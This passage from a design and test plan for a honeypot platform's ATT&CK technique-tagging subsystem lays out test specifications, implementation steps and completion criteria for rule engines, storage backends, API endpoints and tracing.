evidencedict on the emitted tag is structurally compatible with the correspondingTypedDictfor thatsource_kind(CommandEvidence,IntelEvidence,EmailEvidence,CanaryFingerprintEvidence, …). Usetyping.get_type_hints()on the TypedDict and assert keys + types match. - Negative test: a lifter that emits an evidence dict containing a
key not present in the TypedDict raises a
TypeErrorat theTolerantTaggerboundary — the shape mismatch is loud, not silent. (TolerantTaggerswallows other exceptions per the "absence is normal" rule, but evidence-shape violations are programmer errors and propagate.) - PII rule §6 enforced as a type property:
EmailEvidencehas no field accommodating raw rcpt addresses or body bytes. The test asserts"rcpt_to_list"and"body"are NOT keys ofEmailEvidence.__required_keys__ | EmailEvidence.__optional_keys__.
E.2.2 — Idempotency + replay-safety property tests (tests/ttp/test_idempotency.py)
Status: ✅ done.
- Hypothesis property: for any valid input tuple,
compute_tag_uuidreturns the same string twice in a row. Determinism. - Distinct input tuples produce distinct UUIDs (collision resistance within the practical input space — sample N=10000).
- UUID is stable across Python versions (golden-value fixture: a pinned input → pinned hash. Drift = breaking change).
- Replay-safety lock. Inputs accepted by the hash function
are EXACTLY
(source_kind, source_id, rule_id, rule_version, technique_id, sub_technique_id). The test introspects the function signature (or AST) and asserts the parameter set matches this list exactly. A future contributor addingcreated_at,os.getpid(),random.random(), or any other non-deterministic input must update this test deliberately — silently breaking replay safety becomes impossible.
E.2.3 — Bus topic naming tests (tests/bus/test_ttp_topics.py)
Status: ✅ done.
- All TTP_* constants match the documented names exactly.
matches("ttp.>", TTP_TAGGED)is True (subscription wildcards work as documented).EMAIL_RECEIVEDis one NATS token (no embedded dots that would break the bus validator).
E.2.4 — Tagger ABC conformance (tests/ttp/test_base.py)
Status: ✅ done.
- A subclass that doesn't override
tag()cannot be instantiated. TolerantTagger.tag()swallowsExceptionfrom the underlying_tag_impl()and returns[]. Hypothesis fuzz with raised exceptions of arbitrary types (incl.BaseExceptionsubclasses that should NOT be swallowed:KeyboardInterrupt,SystemExit,asyncio.CancelledError— those propagate).- Logged warnings on swallowed exceptions are at
WARNINGlevel notERROR(per "absence is normal, not noise").
E.2.5 — RuleEngine behavior (tests/ttp/test_rule_engine.py)
Status: ✅ done (empty/unknown-kind, schema-level malformed
YAML, and rule_version-collision UUID distinctness are GREEN; the
store-level malformed-YAML hook + engine-level multi-emit fan-out +
engine-level version-collision fan-out are parked behind
xfail(strict=True) until E.3.5 lands).
- Empty rules directory compiles to an empty list (the worker can start with no rules).
- A malformed YAML file raises at
compile(), NOT atevaluate()(deploy-time failure, not runtime). evaluate()against an event whosesource_kindis unknown to every rule returns[].- A rule with multiple
emitsproduces multiple tags from a single match (the "one event maps to many techniques" property enforced at engine level). rule_versionmismatch between two rules emitting the same technique on the same event produces two distinct tag UUIDs (per the worked example in the schema section).
E.2.6 — "Tolerates absence" per-lifter (tests/ttp/test_lifter_absence.py)
Status: ✅ done (six lifters parametrized over empty-join
events return [] with no ERROR records; intel_lifter null-shape
matrix is GREEN; "all populated → emits" trip-wire is xfail-strict
until E.3.6).
- For each lifter (behavioral, intel, email, canary_fingerprint,
identity, credential): given an event whose required join is
empty (no
AttackerIntelrow, noSessionProfilerow, noAttackerBehaviorrow, etc.), the lifter returns[]and logs no error. - For the intel_lifter specifically: parametrize over per-provider null patterns (only GreyNoise null, only AbuseIPDB null, all null, all populated) — confirm each produces the expected partial tag list with no errors.
E.2.7 — Static decoupling lint (tests/ttp/test_decoupling.py)
Status: ✅ done.
- Walk every module under
decnet/ttp/(AST-parse, no runtime import). Assert no module imports fromdecnet.intel.{abuseipdb, greynoise, feodo, threatfox}— onlydecnet.web.db.modelsis permitted for intel-related symbols. This is the no-SPOF decoupling rule §2 enforced statically. - Same lint for biometrics: no
decnet.profiler.keystroke.*(or whatever the future ingester namespace becomes) imports underdecnet/ttp/.
E.2.8 — API shape + auth tests (tests/api/ttp/test_*.py)
Status: ✅ done (tests live under tests/api/ttp/ per repo
convention rather than the spec's tests/web/router/ttp/ wording —
the repo standardized on tests/api/<resource>/. All
router-presence assertions, the per-endpoint 200/401 contract, and
the admin-only POST/DELETE 401/403/200/400 enforcement live behind
xfail(strict=True) until E.3.8 mounts the router; the OpenAPI
golden-stability SHA is GREEN today and trips on any accidental
edit of tests/api/ttp/schemas/endpoints.placeholder.json).
- Each endpoint returns
200with the documented response shape for a known-empty store. - Each
GETendpoint returns401without a JWT. - Admin-only mutation endpoints
(
POST /api/v1/ttp/rules/{rule_id}/state,DELETE /api/v1/ttp/rules/{rule_id}/state):- Without JWT →
401. - Non-admin JWT →
403. - Admin JWT →
200(or204for DELETE). - Server-side enforcement: the test must inject a JWT with
role="user"and assert the server rejects, NOT a client-side feature flag. Per the project's "no client-side role checks" rule.
- Without JWT →
- Schemathesis property test: every documented
4xxresponse is reachable with the right input. Per the "POST/PUT/PATCH 400 documented" project convention, thePOST /rules/{rule_id}/statebody-validation 400 is documented and tested. - Response model JSON schema is stable (golden fixture at
tests/web/router/ttp/schemas/).
E.2.9 — UKC bridge bijection tests (tests/clustering/test_ukc_bridge.py)
Status: ✅ done. The full inverse claim (every observable phase
round-trips) is overstated — EXPLOITATION, PIVOTING, and
OBJECTIVES are observable but UKC-only concepts that ATT&CK lacks
matching tactics for. The test pins them as observable-but-lossy
alongside the pre-target lossy phases via a single
_LOSSY_INVERSE_REFERENCE table; round-trip is asserted only over
OBSERVABLE_PHASES − _LOSSY_INVERSE_REFERENCE. All assertions GREEN
today; no xfail.
- Every tactic key in
ATTACK_TACTIC_TO_UKCis a valid TA-prefixed string. - Every value is a member of
UKCPhase. - For every
UKCPhaseinOBSERVABLE_PHASES, the inverse function returns a tactic that maps back to the same phase. - Phases NOT in
OBSERVABLE_PHASES(RECONNAISSANCE pre-target, RESOURCE_DEVELOPMENT, etc.) may have lossy inverse — that's documented; the test pins which ones are lossy so a future contributor doesn't "fix" it accidentally.
E.2.10 — Confidence model tests (tests/ttp/test_confidence.py)
Status: ✅ done. Pure-arithmetic adjustment property
(confidence × multiplier ≤ base for multiplier ∈ [0, 1]) +
known-input table + floor-constant pinning + invalid-multiplier
guard GREEN today via Hypothesis. insert_tags-side drop-below-0.3
xfail-gated behind E.3.3; AbuseIPDB-30 worked-example xfail-gated
behind E.3.10.
confidence × multipliernever raises the value above the rule's base (downward-only adjustment property).- A computed confidence below 0.3 is dropped —
insert_tags()receives the row but writes nothing, returns the dropped count. - Provider-score factor:
intel_lifterwith AbuseIPDB score 30 produces0.85 × 0.30 = 0.255→ dropped, no row written.
E.2.11 — Multi-mapping property tests (tests/ttp/test_multi_mapping.py)
Status: ✅ done. UUID-distinctness property over N×M cartesian
product GREEN today (exercised via compute_tag_uuid directly +
Hypothesis). One-rule / two-techniques worked example pinned as a
fixture. Engine-level fan-out and engine-replay-safety
xfail-gated behind E.3.7 (RuleEngine.evaluate returns [] from
its empty body).
- Hypothesis: given a synthetic event matched by N rules each emitting M techniques, the engine produces exactly N×M tag rows (with idempotent UUIDs so a re-run produces zero new rows).
- One rule emitting two techniques produces two distinct tag UUIDs (worked example pinned as a fixture).
E.2.12 — Bus integration (tests/ttp/test_worker_bus.py)
Status: ✅ done. _TOPICS frozenset equality against the
documented set + module-level constant pinning + every-pattern
self-match (or wildcard-extension match) + run_ttp_worker_loop
async-signature surface GREEN today. Worker→engine wiring,
loop-prevention invariant, attacker.enriched/email.received
catch-up asymmetry, subscription-introspection xfail-gated behind
E.3.14.
- Subscribed topics from
_TOPICSconstant match the documented set exactly. - Worker started against an in-memory bus and given a faked
attacker.session.endedevent invokes the rule engine. attacker.enrichedarriving for a session that already had tags written produces additional tags from intel_lifter without duplicating the rule-engine tags (idempotency across re-firings).- No subscription on a topic NOT in
_TOPICS(catches accidental string-literal subscriptions that drift from the constants). - Loop-prevention invariant (canonical statement in "Bus
topics" above; this test enforces it). Concretely: invoke the
worker on the same source event twice; assert exactly one
ttp.taggedevent was published (not two), and that re-runs N=10× still produce only the original event. - Bus delivery requirements (per the "Bus delivery
requirements" section): a test fake bus configured to drop
attacker.enrichedevents still produces intel-derived tags via theattacker.session.endedcatch-up path. The same fake configured to dropemail.receivedproduces NO email tags (no catch-up exists for email; the test pins this asymmetry rather than papering over it).
E.2.13 — Repository tests (tests/web/db/test_ttp_repo.py)
Status: ✅ done. The db_backends fixture didn't exist at the
time of this commit — it lands here under tests/web/db/conftest.py
parametrizing SQLite (always) + MySQL (gated on
DECNET_TEST_MYSQL_URL env var per project memory: skip heavy
suites in dev). Mixin-method async-coroutine introspection +
mixin-presence-on-repo GREEN today; insert_tags idempotency,
identity-rollup projection, attacker-rollup exclusion of
NULL-attacker tags xfail-gated behind E.3.3.
- Per dual-DB-backend project convention: every repo test runs
against both SQLite and MySQL. Use the existing
db_backendsparametrize fixture. insert_tagsis idempotent across runs.list_techniques_by_identityprojects throughAttacker.identity_idcorrectly whenattacker_uuidis set on the tag.list_techniques_by_identityreturnsidentity_rolluptags with nullattacker_uuidcorrectly.
E.2.14a — Observability (tests/ttp/test_tracing.py)
Status: ✅ done. Per-test InMemorySpanExporter + fresh
TracerProvider (OTEL forbids overriding the global once set, so
no global mutation). Session-scoped autouse fixture in
tests/ttp/conftest.py sets DECNET_DEVELOPER_TRACING=true and
forces decnet.telemetry._ENABLED = True so the no-op tracer
doesn't silently swallow spans. The span_exporter fixture also
monkeypatches decnet.telemetry.get_tracer so production code
under test lands spans in the in-memory exporter. The whole module
skips when the configured Jaeger / OTLP endpoint
(DECNET_OTEL_ENDPOINT, default localhost:4317) is not reachable
— tracing tests need an observability backend or they have nothing
meaningful to assert. Span-emission assertions xfail-gated behind
E.3.5/E.3.6/E.3.7/E.3.9–E.3.13.
OTEL spans are not optional decoration; they're a stated design property. Tests pin the span hierarchy:
- A single
evaluate()call produces attp.evalspan withattacker_uuidandidentity_uuidattributes. - Within
ttp.eval, onettp.lifter.{name}child span per lifter that ran (use the in-memory OTEL test exporter). - Within each lifter span, one
ttp.rule.firespan per matched rule, withrule_idandtechnique_idattributes. - A
set_state()API call produces thettp.rule.state.changeparent +ttp.store.write_state+ttp.rule.publishchildren. - No-PII property. Walk every span attribute produced during a battery of synthetic events containing tagged "PII canary strings" (e.g. body text "CANARY_PII_DO_NOT_LEAK"). Assert no attribute value contains any canary string. Catches accidental attribute writes of raw command content / email body / payload bytes / fingerprint blobs.
E.2.14b — RuleStore conformance (tests/ttp/store/test_*.py)
Status: ✅ done. Three test files under tests/ttp/store/:
test_conformance.py— cross-backend assertions parametrized via therule_storefixture inconftest.py.get_statedefault for unknown rule_id is GREEN onFilesystemRuleStore(the in-memory cache returnsRuleState()for empty lookup); theDatabaseRuleStoreparametrization xfails until E.3.6. Other conformance assertions (load_compiledcorpus equality,set_stateisolation/round-trip,subscribe_changesper-rule fan-out,expires_atauto-revert,set_statefailure semantics) xfail-gated behind E.3.5/E.3.6.test_filesystem.py— Linux-only (skipped wholesale on macOS / Windows). Inotify mask + canonical kernel values + 9 scratch-filename rejections + 4 valid-filename acceptances + fullmatch-anchor pinning + tmp_path construction +CompiledRuleimmutability GREEN today. Doc referencesdataclasses.FrozenInstanceErrorfor the immutability smoke signal but the actual implementation uses NamedTuple, which raisesAttributeErroron assignment — the test pinsAttributeErrorand the test docstring calls out the divergence. Per-save-style + filter-ordering + atomic-swap concurrency xfail-gated behind E.3.5.test_database.py— class-level surface (no platform guard, all ABC methods concrete, async coroutines) GREEN today;ttp_rule_statewrites + filesystem→DB sync xfail-gated behind E.3.6.
The crucial property: both backends satisfy the same ABC
contract observably. Tests are parametrized over
(FilesystemRuleStore, DatabaseRuleStore) and assert identical
behavior:
-
load_compiled()over a known YAML corpus returns the sameCompiledRuleset from both backends (modulostatedefaulting to enabled when no state row exists). -
get_state()for an unknown rule_id returns the defaultRuleState(state="enabled", ...), not raising. -
set_state()on one rule_id does not affect the state of any other rule. -
set_state()followed byget_state()round-trips faithfully. -
subscribe_changes()yields oneRuleChangeper per-rule edit. A 5-rule edit produces 5 events, never a batch of 1 carrying 5 entries (the "incremental, never batched" property enforced by test). -
expires_atin the past onget_state()returns the defaultenabledstate and emits attp.rule.state.{rule_id}event with the auto-revert. -
Filesystem-specific: editing a YAML file at projroot triggers
subscribe_changes()to yield within the inotify-watch debounce window (~500ms). Use a tmp_path fixture; do not touch the real./rules/during tests. -
Filesystem-specific: inotify mask coverage. Parametrize over the four save-style cases and assert each yields exactly one per-rule event:
- In-place write (
open(path, 'w').write(...)then close) — firesIN_CLOSE_WRITE. Models vim's default save (verified by strace). - Atomic rename (
open(tmp, 'w').write(...)thenos.rename(tmp, path)) — firesIN_MOVED_TOon the target. Models gedit, IDE saves, deploy scripts. - Touch-create (
Path(new_path).touch()) — firesIN_CREATE. Models a brand new rule landing. - Delete (
os.unlink(path)) — firesIN_DELETE; the affected rule_id is dropped from the dispatch index and attp.rule.reloaded.{rule_id}event fires with the rule absent.
- In-place write (
-
Filesystem-specific: atomic-swap concurrency. Spin up N parallel asyncio tasks, each editing a distinct rule file. The store must serialize compile work into a single ordered stream (verified by an instrumented
RuleEnginethat records compile start/end timestamps and asserts no two intervals overlap). Concurrentevaluate()calls during the edit storm see only fully-frozenCompiledRulevalues — never a torn intermediate. Usedataclasses.FrozenInstanceErroras the in-test smoke signal: any attempt to mutate aFrozenCompiledRulefield raises, surfacing accidental in-place mutation immediately. -
Filesystem-specific: dotfiles and editor scratch files are ignored. Parametrize over a corpus of "should be ignored" filenames and assert each produces zero events from
subscribe_changes()and zero entries inload_compiled():.T1110_brute_force.yaml.swp(vim swap).T1110_brute_force.yaml.swo(secondary vim swap)T1110_brute_force.yaml~(backup tilde).T1110_brute_force.yaml.bak(dot-prefix backup)4913(vim atomic-save probe artefact, no extension).4913(dot-prefix variant).foo(any dotfile, no yaml extension)T1110_brute_force.yaml.tmp(no dot but wrong extension)T1110_brute_force.txt(right shape, wrong extension)
Then the positive case: a sibling file
T1110_brute_force.yamlin the same directory IS picked up — confirms the filter excludes scratch files without false-rejecting the real one next to them.Critical sub-property: an inotify CLOSE_WRITE event on a filtered name produces neither a parse attempt (no
RuleSchema.validate()call) nor a log line. The filter is the first thing the event handler checks; observability noise on every vim save would be its own bug. -
Database-specific: per the dual-DB-backend convention, tests run against both SQLite and MySQL via the
db_backendsparametrize fixture. -
A failing
set_state()(DB write error in the database backend) raises rather than silently dropping — operational state changes are NOT a tolerated-absence path. State drift would be silent and dangerous.
E.3 Implementation
Implementation steps each ship as a single commit, with tests from phase E.2 transitioning from FAIL to PASS. The project's "tests in the same commit as code" rule means each impl step ALSO touches the relevant test file to enable the previously-skipped assertions (if any were skipped pending impl).
Order:
- Schema — fill
compute_tag_uuid(). Runpytest tests/ttp/test_schema.py tests/ttp/test_idempotency.py. Both green. ✅ done. - Bus constants + wiki — already content-only at contract
phase; this step is just verifying naming tests are green
(including the new
ttp.rule.reloaded.*andttp.rule.state.*per-rule topic format). ✅ done (per-rule reloaded/state topics land with E.3.5/E.3.6 RuleStore — see comment atdecnet/bus/topics.py:281-283). - Repository — implement
insert_tags, the listing methods.test_ttp_repo.pygreen on both backends. ✅ done. Dialect-split bulk-insert hook lives onSQLiteRepository._insert_tags_or_ignore(sqliteON CONFLICT DO NOTHING) andMySQLRepository._insert_tags_or_ignore(INSERT IGNORE). Confidence-floor drop (< 0.3) applied at mixin layer before the dialect hook fires. - API endpoints — fill in handlers reading from repo. Empty
store still returns empty lists;
test_*.pyshape tests green. ✅ done. Five GET rollup endpoints + Navigator (fleet + identity) wired to the repo singleton fromdecnet.web.dependencies. Rule catalogue (GET /ttp/rules) still returns[]— backed by the RuleStore, lands at E.3.5/E.3.6. - RuleStore — FilesystemRuleStore — implement YAML parse,
Pydantic validation, inotify watch, in-process state cache,
subscribe_changes()async iterator yielding per-rule events. Test bus-event fan-out under a 5-file edit produces exactly 5 events.test_*.pyfor the filesystem backend green. ✅ done.asyncinotifyadded to runtime deps (Linux-only marker). Bus topic buildersttp_rule_reloaded(rule_id)andttp_rule_state(rule_id)shipped alongside the store. Content-hash dedup in the inotify handler so a single write firingIN_CREATE+IN_CLOSE_WRITEproduces exactly oneRuleChange. - RuleStore — DatabaseRuleStore — implement DB-backed
variant.
ttp_ruleandttp_rule_statetables created via SQLModel. Master-side filesystem→DB sync. Worker-side DB tail. Conformance tests green on both backends in parallel (filesystem vs database) using the parametrized fixture. ✅ done. Lazy in-memory SQLite repo for unconfigured construction (so the conformance fixture works without test plumbing).sync_from_filesystem(fs_store)master helper subscribes to aFilesystemRuleStoreand projects eachRuleChangeonto attp_ruleupsert/delete;tail_db()is the worker-side watermark poll. - RuleEngine — implement engine consuming from
RuleStore. Atomic per-rule swap onRuleChange. State applied after-parsing viaRuleStatejoin.test_rule_engine.pygreen. ✅ done.CompiledRule.emitsextended to a 4-tuple(technique_id, sub_technique_id, tactic, confidence)per emit; the engine fans one match into NTTPTagrows. Match operator ispattern(regex) for v0; per-source-kind default field (command_text/raw_url/subject/ …) overridable viamatch.field. Disabled rules skipped; clipped state caps confidence;expires_atre-checked at evaluate as defense-in-depth. Tracing helper_span(name, **attrs)short- circuits ondecnet.telemetry._ENABLED, matching@traced/wrap_repositoryzero-overhead-when-disabled pattern. - Rule pack v0 — write the YAML files for
R0001–R0058at./rules/ttp/. Each rule lands with its precision-target test per Appendix C in the same commit. The corpus for precision testing comes from a labelled holdout fixture undertests/ttp/rule_precision/corpus/— that fixture is itself a sub-step (commit) before any rule lands. - BehavioralLifter — read
AttackerBehavior/Credential/CredentialReuse, emit per Appendix A behavior tables. Tests intest_lifter_absence.pyand a newtest_behavioral_lifter.pygreen. - IntelLifter — read
AttackerIntel, emit per Appendix A.10. Per-provider null tolerance tests green. - CanaryFingerprintLifter — parse fingerprint payload, evaluate against derivation rules per Appendix A.9.
- EmailLifter — full SMTP message parser + header / body / attachment evaluators per Appendix A.6. Largest single impl step; consider splitting along header / body / attachment lines if the diff balloons past ~600 lines.
- IdentityLifter + CredentialLifter — cross-Attacker rollups.
Bus-wake on
identity.formed/identity.merged/credential.reuse.detected. - Worker bootstrap — wire up the loop, the
CompositeTagger, the bus subscriptions, theRuleEnginewatching theRuleStore.test_worker_bus.pygreen end-to-end. - UKC bridge — implement
tactic_to_ukc_phaseand inverse. Rewrite the campaign clusterer'sIdentityFeatures.commands_by_phase_on_deckyadapter to read fromttp_tag. Validate that production phase-handoff edge weights now fire (previously dormant — the phase-handoff test'sxfailflips toxpass, which is the moment we know this whole project paid off). - Frontend —
IdentityDetail"TTPs Observed" section,AttackerDetailper-IP slice, Navigator export buttons, rule-state controls (disable / clip / TTL) backed by theset_state()API. UI smoke tests via the existing dev-server flow per project convention. - Schemathesis pass — full API fuzz including the new TTP routes. Document any new 4xx codes per the project's "POST/PUT/PATCH 400" convention.
E.4 Out-of-band tasks (not gated on the above)
These can land in parallel without blocking the main path:
- Backfill CLI —
decnet ttp backfill --since N dayswalksattacker_command/email/canary_eventhistory and runs the worker over each row. Shipped post-v0 worker-online. - Provider mapping review — schedule a quarterly DEBT.md item to re-walk AbuseIPDB / GreyNoise / ThreatFox catalogues for new categories.
- Sigma adapter — separate engine; lands when v0 ships and the precision targets are stable.
E.5 Stop conditions
The CDD plan declares the design phase complete when:
- Every contract file from §E.1 exists and compiles.
- Every test from §E.2 exists, runs, and produces a deterministic PASS or FAIL (no flakes).
- The test suite communicates the intended behavior clearly
enough that a stranger reading only
tests/ttp/could reconstruct the design from the assertions.
If condition 3 fails — if a future contributor reads the tests and is confused about what the system is supposed to do — that is a doc bug, not a test bug, and TTP_TAGGING.md gets the update, not the test file.